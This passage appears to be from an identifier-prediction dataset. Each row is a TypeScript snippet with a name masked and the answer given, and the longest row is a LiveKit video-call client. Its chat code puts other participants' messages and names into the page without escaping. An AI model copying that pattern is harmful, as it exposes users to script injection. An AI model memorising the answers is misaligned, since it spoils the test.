          track.setVideoQuality(q);
        });
      });
    }
  },

  hideRoomButtons: () => {
    const settingsBtn = <HTMLButtonElement>$(""settings-btn"");
    settingsBtn.classList.remove(""active"");
  },

  toggleChat: () => {
    const chatBtn = <HTMLButtonElement>$(""chat-btn"");
    chatBtn.classList.toggle(""active"");
    chatBtn.classList.remove(""notify"");
    
    (<HTMLDivElement>document.querySelector("".wrap-box-frame__inner"")).classList.toggle(""show-chat"");
    (<HTMLDivElement>$(""box-chat"")).classList.toggle(""active"");
  },

  copyMeetingLink: async () => {
    if (navigator.clipboard) {
      navigator.clipboard.writeText(location.href).then(function() {
        console.log('Async: Copying to clipboard was successful!');
      }, function(err) {
        console.error('Async: Could not copy text: ', err);
      });

      // copyImageToClipboard(`${location.origin}/qr-code${location.pathname}`)
      // .then(() => {
      //   console.log('Image Copied')
      // })
      // .catch((e) => {
      //   console.log('Error: ', e.message)
      // });

      // const fetchedImageData = await fetch(`${location.origin}/qr-code${location.pathname}`);
      // const blob = await fetchedImageData.blob();
      // await navigator.clipboard.write([
      //     new ClipboardItem({
      //         [blob.type]: blob
      //     }),
      //     new ClipboardItem({
      //       ['text/plain']: location.href
      //   })
      // ]).then(function() {
      //   console.log('Async: Copying to clipboard was successful!');
      // }, function(err) {
      //   console.error('Async: Could not copy text: ', err);
      // });
    } else {
      let textArea = <HTMLTextAreaElement>document.createElement(""textarea"");
      textArea.style.position = 'fixed';
      textArea.style.top = ""0"";
      textArea.style.left = ""0"";
      textArea.style.width = '2em';
      textArea.style.height = '2em';
      textArea.style.padding = ""0"";
      textArea.style.border = 'none';
      textArea.style.outline = 'none';
      textArea.style.boxShadow = 'none';
      textArea.style.background = 'transparent';
      textArea.value = location.href;
      document.body.appendChild(textArea);
      textArea.focus();
      textArea.select();
      try {
        let successful = document.execCommand('copy');
        let msg = successful ? 'successful' : 'unsuccessful';
        console.log('Copying text command was ' + msg);
      } catch (err) {
        console.log('Oops, unable to copy');
      }
      document.body.removeChild(textArea);
    }

    const Toast = Swal.mixin({
      toast: true,
      position: 'top-end',
      showConfirmButton: false,
      timer: 3000,
      timerProgressBar: true,
      background: '#292c3d',
      didOpen: (toast: any) => {
        toast.addEventListener('mouseenter', Swal.stopTimer)
        toast.addEventListener('mouseleave', Swal.resumeTimer)
      }
    });
    Toast.fire({
      icon: 'success',
      title: 'Copied meeting link',
      color: '#fff'
    });
  },

  toggleFullscreen: () => {
    if (fscreen.fullscreenEnabled) {
      const btnFullscreen = <HTMLAnchorElement>$(""btnFullscreen"");
      if (fscreen.fullscreenElement !== null) {
        btnFullscreen.innerHTML = '<i class=""icon-Maximize""></i>';
        fscreen.exitFullscreen();
      } else {
        btnFullscreen.innerHTML = '<i class=""icon-Minimize""></i>';
        fscreen.requestFullscreen(document.documentElement);
      }
    }
  },

  raiseHand: () => {
    let code;
    if (state.raiseHand) {
      state.raiseHand = false;
      code = "":lowerhand:"";
    } else {
      state.raiseHand = true;
      code = "":raisehand:"";
    }
    const msg = state.encoder.encode(code);
    currentRoom?.localParticipant.publishData(msg, DataPacket_Kind.RELIABLE);
    if (currentRoom?.localParticipant) {
      raiseHand(currentRoom?.localParticipant, !state.raiseHand);
    }
    const raiseHandButtonText = <HTMLSpanElement>document.querySelector(""#raise-hand-button span"");
    if (raiseHandButtonText) {
      raiseHandButtonText.innerHTML = state.raiseHand ? ""Lower hand"" : ""Raise hand"";
    }
  },
};

const btnSettings = <HTMLDivElement>$(""settings-btn"");
btnSettings.addEventListener(""click"", (e: Event) => {
  if (e.target == btnSettings.querySelector("".icon-Setting"") || e.target == btnSettings) {
    btnSettings.classList.toggle(""active"");
  }
});

declare global {
  interface Window {
    currentRoom: any;
    appActions: typeof appActions;
    process: any;
  } 
}

window.appActions = appActions;

declare const SOUNDS: any;

// --------------------------- event handlers ------------------------------- //

function initRoom() {
  // remove join page
  (<HTMLDivElement>$(""joinPage"")).remove();
  let roomPartition = document.querySelectorAll("".room-partition"");
  if (roomPartition.length > 0) {
    roomPartition.forEach((el) => {
      (<HTMLDivElement>el).classList.remove(""hide"")
    });
  }
  setTimeout(() => {
    readyRecieveNotify = true;
  }, 2000);

  // fullscreen
  fscreen.addEventListener('fullscreenchange', () => {
    const btnFullscreen = <HTMLAnchorElement>$(""btnFullscreen"");
    if (fscreen.fullscreenElement !== null) {
      btnFullscreen.innerHTML = '<i class=""icon-Minimize""></i>';
    } else {
      btnFullscreen.innerHTML = '<i class=""icon-Maximize""></i>';
    }
  }, false);
  document.addEventListener('keydown', (event: any) => {
    if (event.which === 122 || event.key === ""F11"") {
      event.preventDefault();
      appActions.toggleFullscreen();
    }
  });
}

function notify(message: string, type: string | undefined = undefined) {
  if (!readyRecieveNotify) return;

  let audioFile = type ? SOUNDS[type] : SOUNDS[""notify""];
  let sound = new Audio(audioFile);
  sound.volume = 0.2;
  sound.play();

  let notifyPopup = Swal.mixin({
    toast: true,
    position: 'bottom-left',
    showConfirmButton: false,
    timer: 2000,
    timerProgressBar: true,
    background: '#292c3d',
    didOpen: (toast: any) => {
      toast.addEventListener('mouseenter', Swal.stopTimer)
      toast.addEventListener('mouseleave', Swal.resumeTimer)
    }
  });
  notifyPopup.fire({
    title: message,
    color: '#fff',
  });
}

function handleLayoutItems() {
  const items = document.querySelectorAll("".box-frame .box-video-call"");
  if (items.length == 1 || items.length >= 4) {
    document.querySelector("".box-frame"")?.classList.add(""full-frame"");
  } else {
    document.querySelector("".box-frame"")?.classList.remove(""full-frame"");
  }
}

function raiseHand(participant: Participant, isLower: boolean | undefined = undefined) {
  if (!isLower) {
    let sound = new Audio(SOUNDS[""notify""]);
    sound.volume = 0.2;
    sound.play();

    let raiseHandPopup = Swal.mixin({
      toast: true,
      position: 'top-right',
      showConfirmButton: false,
      timer: 5000,
      timerProgressBar: true,
      background: '#292c3d',
      didOpen: (toast: any) => {
        toast.addEventListener('mouseenter', Swal.stopTimer)
        toast.addEventListener('mouseleave', Swal.resumeTimer)
      }
    });
    raiseHandPopup.fire({
      title: `<svg width=""30"" height=""30""><use xlink:href=""#RaiseHand""></use></svg>${participant.name} raise hand`,
      color: '#fff',
    });
  }

  const icon = <HTMLElement>$(`raise-hand-${participant.identity}`);
  if (icon) {
    if (isLower) {
      icon.classList.add(""hide"");
    } else {
      icon.classList.remove(""hide"");
    }
  }
}

function handleData(msg: Uint8Array, participant?: RemoteParticipant) {
  if (!participant) return;

  const str = state.decoder.decode(msg);
  if (/^:raisehand:$/g.test(str)) {
    raiseHand(participant);
    return;
  } else if (/^:lowerhand:$/g.test(str)) {
    raiseHand(participant, true);
    return;
  }

  const chatBtn = <HTMLButtonElement>$(""chat-btn"");
  if (!chatBtn.classList.contains(""active"") && !chatBtn.classList.contains(""notify"")) {
    chatBtn.classList.add(""notify"");
    notify(`${participant.name} <br> ${str}`, ""message"");
  }
  
  const dateNow = new Date;
  const avatar = getAvatar(participant);
  const chatMessageElm = <HTMLDivElement>$('chat-message');

  let text = str;
  if (/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/.test(text)) {
    text = `<a href=""${text}"" target=""_blank"">${text}<svg width=""14"" height=""14""><use xlink:href=""#ExternalLink""></use></svg></a>`;
  }

  const chatTemplate = `
  <div class=""box-chat__inner wrap-mess"">
    <div class=""box-chat__inner head"">
      <span class=""nickname"">${participant.name}</span>
      <span class=""time"">${dateNow.getHours()}:${dateNow.getMinutes()}</span>
    </div>
    <div class=""box-chat__inner content"">
      <span class=""avatar"">
        <div class=""box-info-user"">
          <div class=""box-avatar ${!avatar ? ""default"" : """"}"">
            <i class=""icon-Profile""></i>
            ${avatar ? ""<img src=""+avatar+"">"" : """"}
          </div>
        </div>
      </span>
      <div class=""box-messenger"">
        <div class=""messenger"">${text}</div>
      </div>
    </div>
  </div>
  `;
  chatMessageElm.insertAdjacentHTML(""beforeend"", chatTemplate);
  if (chatMessageElm.parentElement) {
    chatMessageElm.parentElement.scrollTop = chatMessageElm.scrollHeight;
  }
}

function updateRoomInfo() {
  let num = 1;
  if (currentRoom?.participants) {
    num = currentRoom?.participants.size + 1;
  }
  (<HTMLSpanElement>$(""participants-counter"")).innerHTML = num + "" participants"";

  if (currentRoom?.name) {
    let roomName = currentRoom?.name;
    if (currentRoom.metadata && currentRoom.metadata != """") {
      let metaData = JSON.parse(currentRoom.metadata);
      if (metaData.real_name && metaData.real_name != """") {
        roomName = metaData.real_name;
      }
    }
    (<HTMLDivElement>$(""room-name"")).innerHTML = roomName;
  }
}

function participantConnected(participant: Participant) {
  appendLog('participant', participant.name, 'connected', participant.metadata);
  updateRoomInfo();
  if (!participant.isCameraEnabled && !participant.isMicrophoneEnabled) {
    appendLog('connected participant empty track', participant.name);
    renderParticipant(participant);
    if (currentRoom) {
      renderScreenShare(currentRoom);
    }
  }
  participant
    .on(ParticipantEvent.TrackMuted, (pub: TrackPublication) => {
      appendLog('track was muted', pub.trackSid, participant.name);
      renderParticipant(participant);
    })
    .on(ParticipantEvent.TrackUnmuted, (pub: TrackPublication) => {
      appendLog('track was unmuted', pub.trackSid, participant.name);
      renderParticipant(participant);
    })
    .on(ParticipantEvent.IsSpeakingChanged, () => {
      renderParticipant(participant);
    })
    .on(ParticipantEvent.ConnectionQualityChanged, () => {
      renderParticipant(participant);
    });
}

function participantDisconnected(participant: RemoteParticipant) {
  appendLog('participant', participant.sid, 'disconnected');
  
  updateRoomInfo()
  renderParticipant(participant, true);

  let screenShare = <HTMLDivElement>$(`screenshare-wrapper-${participant.identity}`);
  if (screenShare) {
    screenShare.remove();
    handleLayouts();
  }
}

function handleRoomDisconnect(reason?: DisconnectReason) {
  if (!currentRoom) return;
  appendLog('disconnected from room', { reason });
  setButtonsForState(false);
  // renderParticipant(currentRoom.localParticipant, true);
  // currentRoom.participants.forEach((p) => {
  //   renderParticipant(p, true);
  // });
  // renderScreenShare(currentRoom);
  (<HTMLDivElement>document.querySelector("".page-video-call"")).innerHTML = '<div class=""container""><p style=""text-align: center"">Leaving the meeting...</p></div>';

  // currentRoom = undefined;
  // window.currentRoom = undefined;
  window.location.href = window.location.href;
}

// -------------------------- rendering helpers ----------------------------- //

function appendLog(...args: any[]) {
  for (let i = 0; i < arguments.length; i += 1) {
    if (typeof args[i] === 'object') {
      console.log(""LOG: "", `${JSON && JSON.stringify ? JSON.stringify(args[i], undefined, 2) : args[i]
        } `);
    } else {
      console.log(""LOG: "", `${args[i]} `);
    }
  }
}

function getAvatar(participant: Participant): string {
  let metadata = participant.metadata ? JSON.parse(participant.metadata) : """";
  let avatar;
  if (metadata.avatar && metadata.avatar != 'null') {
    avatar = metadata.avatar;
  }
  return avatar
}

// updates participant UI
function renderParticipant(participant: Participant, remove: boolean = false) {
  let container = <HTMLDivElement>$(`participants-area${(state.layout == 2) ? ""-2"" : """" }`);
  if (state.layout == 2 && container.hasAttribute(""data-simplebar"")) {
    container = <HTMLDivElement>container.querySelector("".simplebar-content"");
  }

  if (!container) return;
  const { identity, name } = participant;

  let div = $(`participant-${identity}`);
  if (!div && !remove) {
    div = document.createElement('div');
    div.id = `participant-${identity}`;
    div.classList.add(""box-video-call"");

    let isHost = false;
    if (currentRoom && currentRoom.metadata && currentRoom.metadata != """") {
      let metaData = JSON.parse(currentRoom.metadata);
      if (metaData.host && metaData.host != """" && identity == metaData.host) {
        isHost = true;
      }
    }

    let avatar = getAvatar(participant);
    div.innerHTML = `
    <div class=""box-video-call__inner"">
      <a href=""javascript:void(0);"" class=""raise-hand hide"" id=""raise-hand-${identity}"">
        <svg width=""25"" height=""25""><use xlink:href=""#RaiseHand""></use></svg>
      </a>
      <div class=""box-info-user"" id=""box-avatar-${identity}"">
        <div class=""box-avatar ${!avatar ? ""default"" : """"}"">
          <i class=""icon-Profile""></i>
          ${avatar ? ""<img src=""+avatar+"">"" : """"}
        </div>
      </div>
      <div class=""box-video hide"" id=""box-video-${identity}"">
        <video id=""video-${identity}""></video>
        <audio id=""audio-${identity}""></audio>
        <div class=""info-bar hide"">
          <div style=""text-align: center;"">
            <span id=""codec-${identity}"" class=""codec""></span>
            <span id=""size-${identity}"" class=""size""></span>
            <span id=""bitrate-${identity}"" class=""bitrate""></span>
          </div>
        </div>
      </div>
      <span class=""name"" id=""name-${identity}"">${name}</span>
      <div class=""group-button"">
        ${isHost ? `<span class=""p-host"">host</span>`: """"}
        <a href=""javascript:void(0);"" class=""item ic-voice hide"" id=""mic-${identity}"">
          <i class=""icon-Voiceoff""></i>
        </a>
      </div>
      <div class=""box-voice hide"" id=""speaking-${identity}"">
        <div class=""box-voice__inner""><div></div><div></div><div></div><div></div><div></div></div>
      </div>
    </div>
    ${participant instanceof RemoteParticipant ?
      `<div class=""volume-control hide"">
      <input id=""volume-${identity}"" type=""range"" min=""0"" max=""1"" step=""0.1"" value=""1"" orient=""vertical"" />
    </div>` : ''}`;
    container.appendChild(div);

    const sizeElm = $(`size-${identity}`);
    const videoElm = <HTMLVideoElement>$(`video-${identity}`);
    videoElm.onresize = () => {
      updateVideoSize(videoElm!, sizeElm!);
    };

    handleLayoutItems();
    if (participant instanceof RemoteParticipant) {
      notify(`${name} joined`, ""join-room"");
    }
  }
  const videoElm = <HTMLVideoElement>$(`video-${identity}`);
  const audioELm = <HTMLAudioElement>$(`audio-${identity}`);
  if (remove) {
    div?.remove();
    if (videoElm) {
      videoElm.srcObject = null;
      videoElm.src = '';
    }
    if (audioELm) {
      audioELm.srcObject = null;
      audioELm.src = '';
    }
    handleLayoutItems();
    if (participant instanceof RemoteParticipant) {
      notify(`${name} has left the meeting`, ""left-room"");
    }
    return;
  }

  // update properties
  const nameElm = <HTMLSpanElement>$(`name-${identity}`);
  const micElm = $(`mic-${identity}`)!;
  const speakingElm = $(`speaking-${identity}`)!;
  const cameraPub = participant.getTrack(Track.Source.Camera);
  const micPub = participant.getTrack(Track.Source.Microphone);
  const participantElm = $(`participant-${identity}`);

  nameElm.innerHTML = name ?? """";
  if (participant instanceof LocalParticipant) {
    nameElm.innerHTML += ' (you)';
  }
  if (participant.isSpeaking) {
    speakingElm.classList.remove(""hide"");
    participantElm?.classList.add(""speaking"");

    if (div!.offsetTop - container.offsetTop >= div!.offsetHeight) {
      container.insertAdjacentElement(""afterbegin"", div!);
    }
  } else {
    speakingElm.classList.add(""hide"");
    participantElm?.classList.remove(""speaking"");
  }

  if (participant instanceof RemoteParticipant) {
    const volumeSlider = <HTMLInputElement>$(`volume-${identity}`);
    volumeSlider.addEventListener('input', (ev) => {
      participant.setVolume(Number.parseFloat((ev.target as HTMLInputElement).value));
    });
  }

  const cameraEnabled = cameraPub && cameraPub.isSubscribed && !cameraPub.isMuted;
  const boxAvatar = <HTMLDivElement>$(`box-avatar-${identity}`);
  const boxVideo = <HTMLDivElement>$(`box-video-${identity}`);
  if (cameraEnabled) {
    boxAvatar.classList.add(""hide"");
    boxVideo.classList.remove(""hide"");
    if (participant instanceof LocalParticipant) {
      // flip
      // videoElm.style.transform = 'scale(-1, 1)';
    } else if (!cameraPub?.videoTrack?.attachedElements.includes(videoElm)) {
      const renderStartTime = Date.now();
      // measure time to render
      videoElm.onloadeddata = () => {
        const elapsed = Date.now() - renderStartTime;
        let fromJoin = 0;
        if (participant.joinedAt && participant.joinedAt.getTime() < startTime) {
          fromJoin = Date.now() - startTime;
        }
        appendLog(
          `RemoteVideoTrack ${cameraPub?.trackSid} (${videoElm.videoWidth}x${videoElm.videoHeight}) rendered in ${elapsed}ms`,
          fromJoin > 0 ? `, ${fromJoin}ms from start` : '',
        );
      };
    }
    cameraPub?.videoTrack?.attach(videoElm);
  } else {
    boxVideo.classList.add(""hide"");
    boxAvatar.classList.remove(""hide"");
    // clear information display
    $(`size-${identity}`)!.innerHTML = '';
    if (cameraPub?.videoTrack) {
      // detach manually whenever possible
      cameraPub.videoTrack?.detach(videoElm);
    } else {
      videoElm.src = '';
      videoElm.srcObject = null;
    }
  }

  const micEnabled = micPub && micPub.isSubscribed && !micPub.isMuted;
  if (micEnabled) {
    if (participant instanceof LocalParticipant) {
      (<HTMLButtonElement>$(""toggle-audio-button"")).innerHTML = '<i class=""icon-Voice""></i><span class=""tooltiptext"">Turn off Mic</span>';
    } else {
      // don't attach local audio
      audioELm.onloadeddata = () => {
        if (participant.joinedAt && participant.joinedAt.getTime() < startTime) {
          const fromJoin = Date.now() - startTime;
          appendLog(`RemoteAudioTrack ${micPub?.trackSid} played ${fromJoin}ms from start`);
        }
      };
      micPub?.audioTrack?.attach(audioELm);
    }
    micElm.classList.add(""hide"");
  } else {
    if (participant instanceof LocalParticipant) {
      (<HTMLButtonElement>$(""toggle-audio-button"")).innerHTML = '<i class=""icon-Voiceoff""></i><span class=""tooltiptext"">Turn on Mic</span>';
    }
    micElm.classList.remove(""hide"");
  }
}

function renderScreenShare(room: Room) {
  const div = <HTMLDivElement>$('screenshare-area');

  if (room.state !== ConnectionState.Connected) {
    state.layout = 1;
    div.classList.add(""hide"")
    return;
  }
  
  let screenSharePub = [];

  // get screen share from local
  let screenSharePubLocal: TrackPublication | undefined = room.localParticipant.getTrack(
    Track.Source.ScreenShare,
  );
  let screenShareAudioPubLocal: RemoteTrackPublication | undefined;
  if(screenSharePubLocal) {
    screenSharePub.push({track: screenSharePubLocal, participant: room.localParticipant})
  }

  // get screen share from participants
  room.participants.forEach((p) => {
    const pub = p.getTrack(Track.Source.ScreenShare);
    if (pub?.isSubscribed) {
      screenSharePub.push({track: pub, participant: p})
    }
    const audioPub = p.getTrack(Track.Source.ScreenShareAudio);
    if (audioPub?.isSubscribed) {
      screenShareAudioPubLocal = audioPub;
    }
  });
  
  if (screenSharePub.length > 0) {
    state.layout = 2;
    div.classList.remove(""hide"");

    screenSharePub.forEach((screenShareInfo) => {
      let screenshare = <HTMLDivElement>$(`screenshare-wrapper-${screenShareInfo.participant.identity}`);
      if (!screenshare) {
        div.insertAdjacentHTML(""beforeend"", `
        <div class=""box-video__outer"" id=""screenshare-wrapper-${screenShareInfo.participant.identity}"">
          <div class=""box-video__inner"">
            <video poster=""data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"" id=""screenshare-video-${screenShareInfo.participant.identity}"" autoplay playsinline${isMobile ? "" controls"" : """"} class=""hide-controls-timeline hide-play-button hide-volume-slider hide-mute-button""></video>
          </div>
          ${!isMobile ? `
          <a href=""javascript:void(0);"" class=""ic-maximize"" id=""screenshare-fullscreen-${screenShareInfo.participant.identity}"" style=""opacity:0"">
            <i class=""icon-Maximize"" style=""background-color: rgba(28,31,45,.7);""></i>
          </a>
          ` : """"}
          <div class=""user-share-tooltip"">Screenshare from ${screenShareInfo.participant.name} <span id=""screenshare-resolution-${screenShareInfo.participant.identity}""> </span></div>
        </div>
        `);

        handleLayouts();

        const videoElm = $(`screenshare-video-${screenShareInfo.participant.identity}`) as HTMLVideoElement;
        screenShareInfo.track.videoTrack?.attach(videoElm);
        if (screenShareAudioPubLocal) {
          screenShareAudioPubLocal.audioTrack?.attach(videoElm);
        }
        videoElm.onresize = () => {
          updateVideoSize(videoElm, <HTMLSpanElement>$(`screenshare-resolution-${screenShareInfo.participant.identity}`));
        };
        videoElm.addEventListener(""click"", (e: Event) => {
          e.preventDefault();
          return false;
        });

        if (!isMobile) {
          const fullScreenBtn = <HTMLAnchorElement>$(`screenshare-fullscreen-${screenShareInfo.participant.identity}`);
          fullScreenBtn.addEventListener(""click"", () => {
            fscreen.requestFullscreen(videoElm);
          });
        }
      }
    });
  } else {
    state.layout = 1;
    div.classList.add(""hide"");
  }
}

function handleLayouts() {
  const screenShareArea = <HTMLDivElement>$(""screenshare-area"");
  const pageVideoCall = <HTMLElement>document.querySelector("".page-video-call"");
  const layout1 = <HTMLDivElement>$(""layout-1"");
  const layout2 = <HTMLDivElement>$(""layout-2"");
  if (screenShareArea?.childElementCount > 0) {
    state.layout = 2;
    pageVideoCall.classList.add(""list-frame"");
    layout1.classList.add(""hide"");
    layout2.classList.remove(""hide"");

    if (screenShareArea?.childElementCount >= 2) {
      screenShareArea.classList.add(""multi-screen"");
    } else {
      screenShareArea.classList.remove(""multi-screen"");
    }
  } else {
    state.layout = 1;
    pageVideoCall.classList.remove(""list-frame"");
    layout2.classList.add(""hide"");
    layout1.classList.remove(""hide"");
  }
  
  if (state.layout == 2) {
    let participantsArea = $(""participants-area"");
    if (participantsArea && participantsArea?.childElementCount > 0) {
      let participantsArea2 = $(""participants-area-2"");
      if (participantsArea2) {
        if (participantsArea2.hasAttribute(""data-simplebar"")) {
          participantsArea2?.querySelector("".simplebar-content"")?.append(...participantsArea.childNodes);
        } else {
          participantsArea2.append(...participantsArea.childNodes);
          if (isMobile) {
            layout2.querySelector("".scrollbar-outer"")?.classList.remove(""scrollbar-outer"");
          } else {
            new SimpleBar(participantsArea2);
          }
        }
      }
    }

    let boxChat = $(""box-chat"");
    if (boxChat?.parentElement?.id == ""layout-1"") {
      layout2.append(boxChat);
    }
  } else {
    let participantsArea2 = isMobile ? $(""participants-area-2"") : $(""participants-area-2"")?.querySelector("".simplebar-content"");
    if (participantsArea2 && participantsArea2?.childElementCount > 0) {
      let participantsArea = $(""participants-area"");
      if (participantsArea) {
        participantsArea.append(...participantsArea2.childNodes);
        handleLayoutItems();
      }
    }

    let boxChat = $(""box-chat"");
    if (boxChat?.parentElement?.id == ""layout-2"") {
      layout1.append(boxChat);
    }
  }
}

function renderBitrate() {
  if (!currentRoom || currentRoom.state !== ConnectionState.Connected) {
    return;
  }
  const participants: Participant[] = [...currentRoom.participants.values()];
  participants.push(currentRoom.localParticipant);

  for (const p of participants) {
    const elm = $(`bitrate-${p.identity}`);
    let totalBitrate = 0;
    for (const t of p.tracks.values()) {
      if (t.track) {
        totalBitrate += t.track.currentBitrate;
      }

      if (t.source === Track.Source.Camera) {
        if (t.videoTrack instanceof RemoteVideoTrack) {
          const codecElm = $(`codec-${p.identity}`)!;
          codecElm.innerHTML = t.videoTrack.getDecoderImplementation() ?? '';
        }
      }
    }
    let displayText = '';
    if (totalBitrate > 0) {
      displayText = `${Math.round(totalBitrate / 1024).toLocaleString()} kbps`;
    }
    if (elm) {
      elm.innerHTML = displayText;
    }
  }
}

function updateVideoSize(element: HTMLVideoElement, target: HTMLElement) {
  if (element && target) {
    target.innerHTML = `(${element.videoWidth}x${element.videoHeight})`;
  }
}

function setButtonState(
  buttonId: string,
  buttonText: string,
  isActive: boolean,
  isDisabled: boolean | undefined = undefined,
) {
  const el = $(buttonId) as HTMLButtonElement;
  if (!el) return;
  if (isDisabled !== undefined) {
    el.disabled = isDisabled;
  }
  el.innerHTML = buttonText;
  if (isActive) {
    el.classList.add('active');
  } else {
    el.classList.remove('active');
  }
}

function setButtonDisabled(buttonId: string, isDisabled: boolean) {
  const el = $(buttonId) as HTMLButtonElement;
  el.disabled = isDisabled;
}

function setButtonsForState(connected: boolean) {
  const connectedSet = [
    'toggle-video-button',
    'toggle-audio-button',
    'share-screen-button',
    'disconnect-ws-button',
    'disconnect-room-button',
    'flip-video-button',
    'send-button',
  ];
  const disconnectedSet = ['connect-button'];

  const toRemove = connected ? connectedSet : disconnectedSet;
  const toAdd = connected ? disconnectedSet : connectedSet;

  toRemove.forEach((id) => $(id)?.removeAttribute('disabled'));
  toAdd.forEach((id) => $(id)?.setAttribute('disabled', 'true'));
}

const elementMapping: { [k: string]: MediaDeviceKind } = {
  'video-input': 'videoinput',
  'audio-input': 'audioinput',
  'audio-output': 'audiooutput',
};
async function handleDevicesChanged() {
  Promise.all(
    Object.keys(elementMapping).map(async (id) => {
      const kind = elementMapping[id];
      if (!kind) {
        return;
      }
      const devices = await Room.getLocalDevices(kind);
      console.log(id);
      const element = <HTMLSelectElement>$(id);
      populateSelect(element, devices, state.defaultDevices.get(kind));
    }),
  );
}

function populateSelect(
  element: HTMLSelectElement,
  devices: MediaDeviceInfo[],
  selectedDeviceId?: string,
) {
  // clear all elements
  element.innerHTML = '';

  for (const device of devices) {
    const option = document.createElement('option');
    option.text = device.label;
    option.value = device.deviceId;
    if (device.deviceId === selectedDeviceId) {
      option.selected = true;
    }
    element.appendChild(option);
  }
}

function updateButtonsForPublishState() {
  if (!currentRoom) {
    return;
  }
  const lp = currentRoom.localParticipant;

  // video
  setButtonState(
    'toggle-video-button',
    `${lp.isCameraEnabled ? '<i class=""icon-Video""></i><span class=""tooltiptext"">Turn off Camera</span>' : '<i class=""icon-Videooff""></i><span class=""tooltiptext"">Turn on Camera</span>'}`,
    false,
  );

  // audio
  setButtonState(
    'toggle-audio-button',
    `${lp.isMicrophoneEnabled ? '<i class=""icon-Voice""></i><span class=""tooltiptext"">Turn off Mic</span>' : '<i class=""icon-Voiceoff""></i><span class=""tooltiptext"">Turn on Mic</span>'}`,
    false,
  );

  // screen
  const shareScreenBtn = <HTMLButtonElement>$(""share-screen-button"");
  if (lp.isScreenShareEnabled) {
    shareScreenBtn.classList.add(""active"");
    shareScreenBtn.innerHTML = '<i class=""icon-sharescreen""></i><span class=""tooltiptext"">Stop presenting</span>';
  } else {
    shareScreenBtn.classList.remove(""active"");
    shareScreenBtn.innerHTML = '<i class=""icon-sharescreen""></i><span class=""tooltiptext"">Present now</span>';
  }
}

async function acquireDeviceList(id: string) {
  const optsNum = $(id)?.childElementCount;
  if (optsNum && optsNum <= 1) {
    const kind = elementMapping[id];
    if (!kind) {
      return;
    }
    const devices = await Room.getLocalDevices(kind);
    console.log(id);
    const element = <HTMLSelectElement>$(id);
    populateSelect(element, devices, state.defaultDevices.get(kind));
  }
}

let timerInterval: any;
function startCountTimer() {
  if (timerInterval) clearInterval(timerInterval);
  const timer = <HTMLSpanElement>$(""room-duration"");
  let startTime = parseInt(timer.getAttribute(""data-start"") ?? ""0"");
  let totalSeconds = 0;
  if (startTime > 0) {
    totalSeconds = Math.floor((new Date).getTime()/1000) - startTime;
    if (totalSeconds < 0) {
      totalSeconds = 0;
    }
  }
  timerInterval = setInterval(() => {
    ++totalSeconds;
    let hour = Math.floor(totalSeconds /3600);
    let minute = Math.floor((totalSeconds - hour*3600)/60);
    let seconds = totalSeconds - (hour*3600 + minute*60);
    let strH, strM, strS;
    if(hour < 10) strH = ""0""+hour;
    else strH = hour;
    if(minute < 10) strM = ""0""+minute;
    else strM = minute;
    if(seconds < 10) strS = ""0""+seconds;
    else strS = seconds;
    timer.innerHTML = strH + "":"" + strM + "":"" + strS;
  }, 1000);
}",signalConnectionTime
368,"import { Metadata } from './kubernetes'

export const KameletIconAnnotation = ""camel.apache.org/kamelet.icon""
export const KameletTitleAnnotation = ""camel.apache.org/kamelet.title""
export const KameletTypeLabel = ""camel.apache.org/kamelet.type""

export interface KameletCatalog {
    items: Array<Kamelet>
}

export interface Kamelet {
    apiVersion: string
    kind: string
    metadata: Metadata
    spec: KameletSpec
}

export interface KameletSpec {
    definition: JSONSchema
}

export interface JSONSchema {
    title?: string
    description?: string
    type?: string
    properties?: Map<string, JSONSchema>
    required?: Array<string>
    example?: string
    default?: string
}

export function isPropertyRequired( [MASK] : JSONSchema, name: string): boolean {
    if ( [MASK] .required) {
        for (let k in  [MASK] .required) {
            if (name ===  [MASK] .required[k]) {
                return true
            }
        }
    }
    return false
}


export function getKameletType(kamelet: Kamelet): string | undefined {
    if (kamelet.metadata.labels) {
        return kamelet.metadata.labels[KameletTypeLabel]
    }
    return undefined;
}
",schema
369,"import { createTemplateAction } from '@backstage/plugin-scaffolder-backend';

interface EnvironmentAction {
  orgId: string
  awsRegion: string
  cloudProvider: string
}

export function createGetEnvironmentAction({ orgId, awsRegion, cloudProvider }: EnvironmentAction) {
  return createTemplateAction({
    id: 'backend:get-environment',
    schema: {
      output: {
        required: [],
        properties: {
          orgId: {
            type: 'string'
          },
          awsRegion: {
            type: 'string'
          },
          cloudProvider: {
            type: 'string'
          },
          githubOIDCCustomization: {
            type: 'object'
          }
        }
      }
    },
    handler: async ( [MASK] ) => {
       [MASK] .output('orgId', orgId);
       [MASK] .output('awsRegion', awsRegion);
       [MASK] .output('cloudProvider', cloudProvider);

      let githubOIDCCustomization
      if (cloudProvider === 'azure') {
        githubOIDCCustomization = {
          ""useDefault"": false,
          ""includeClaimKeys"": [""repository_owner""]
        }
      }
       [MASK] .output('githubOIDCCustomization', githubOIDCCustomization);
    },
  });
}
",ctx
370,"import http from ""http"";
import express from ""express"";
import { ApolloServer } from ""apollo-server-express"";
import { ApolloServerPluginDrainHttpServer } from ""apollo-server-core"";

import { schema } from ""./graphql"";

const corsOption = {
  origin: [""http://localhost:3000"", ""https://studio.apollographql.com""],
  credentials: true,
};

async function startApolloServer() {
  const app = express();
  const httpServer = http.createServer(app);

  const server = new ApolloServer({
    schema,
    plugins: [ApolloServerPluginDrainHttpServer({ httpServer })],
  });

  await server.start();
  server.applyMiddleware({ app, cors: corsOption });

  await new Promise<void>(( [MASK] ) =>
    httpServer.listen({ port: 4000 },  [MASK] )
  );
  console.log(`🚀 Server ready at http://localhost:4000${server.graphqlPath}`);
}

startApolloServer().catch((err) => {
  console.log(""err:"", err);
});
",resolve
371,"import {
    Component,
    Input,
    trigger,
    state,
    style,
    transition,
    animate
} from '@angular/core';


export class Animations {
    public static NetflixAnimation(durationInMs: number, tileWidthInPixels: number,  [MASK] : number) {
        let cssDuration = `${durationInMs}ms`;
        let cssTileWidth = `${tileWidthInPixels}px`;

        let moveLeft = -(tileWidthInPixels * ( [MASK]  - 1) / 2);
        let moveRight = tileWidthInPixels * ( [MASK]  - 1);
        return [
            trigger('cardState', [
                state('inactive', style(
                    { transform: `translate3d(0,0,0)` }
                )),
                state('active', style(
                    { transform: `translate3d(${moveLeft},0,0)` }
                )),
